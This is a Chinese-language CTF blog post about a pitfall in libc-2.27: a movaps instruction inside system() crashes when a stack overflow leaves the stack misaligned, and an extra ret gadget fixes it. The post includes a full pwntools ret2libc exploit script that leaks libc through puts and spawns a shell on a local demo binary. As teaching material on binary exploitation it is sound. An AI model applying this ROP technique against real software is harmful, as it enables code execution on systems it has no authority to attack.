关于libc-2.27中system函数的一个坑

  • 2018-12-19
  • 1,051
  • 0
  • 2

昨天acdxvfsvd写了个演示用的demo,就是一个简单的栈溢出,如下:

没有开PIE和canary,看上去是一个非常非常入门级的Pwn,常规打法就是覆盖返回地址,第一次构造puts(elf.got[‘puts’]) 拿到Libc地址后返回到vuln函数,第二次就可以构造system(‘/bin/sh’)。但事实上,在Ubuntu 18.04上演示时,出现了一些问题。

我打了这么久的Pwn,这都会GG?

跟了一下发现system函数的确是进去了,rdi也的确是’/bin/sh’的地址,为什么会出现段错误?试了一下如果这里换成execve(‘/bin/sh’,0,0)的话,是可以成功执行/bin/sh的,问题应该是出在system的。

跟进了system函数,发现在子进程的do_system+1094处,有一句movaps指令,一开始并不能理解为什么这条指令会段错误,因为操作数都是合法的地址,后来经过plusls提醒,movaps指令是要求操作数必须16字节对齐,否则就会触发异常。

而在Ubuntu16.04的libc-2.23中,system函数并没有用到这条指令,所以之前一直没有出现过这个问题。

左边为libc-2.23,右边为libc-2.27

因为x64的调用约定中,大部分情况下默认是16字节对齐的,gcc编译时分配数组是也会进行16字节对齐,但是栈溢出后我们破坏掉了这个对齐,导致了这个错误,解决方法就是多加一条ret,让rsp+8,对齐16字节即可。

from pwn import *

p = process('./demo1')

elf = ELF('./demo1')
libc = elf.libc
pop_rdi_ret = 0x400613
ret = 0x40058b
off = 0x48
payload = 'A' * off
payload += p64(pop_rdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])
p.recvuntil('Input your name:\n')
p.sendline(payload)

puts_addr = u64(p.recvline().strip().ljust(8, '\x00'))
libc_addr = puts_addr - libc.symbols['puts']
log.success("libc: %x" % libc_addr)

system_addr = libc_addr + libc.symbols['system']
binsh_addr = libc_addr + next(libc.search('/bin/sh'),)
payload = 'A' * off
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)

p.sendline(payload)

p.interactive()

感觉这个feature还是有点小坑的,网上相关的资料也不多,所以在这里写了一下。

评论

还没有任何评论,你来说两句吧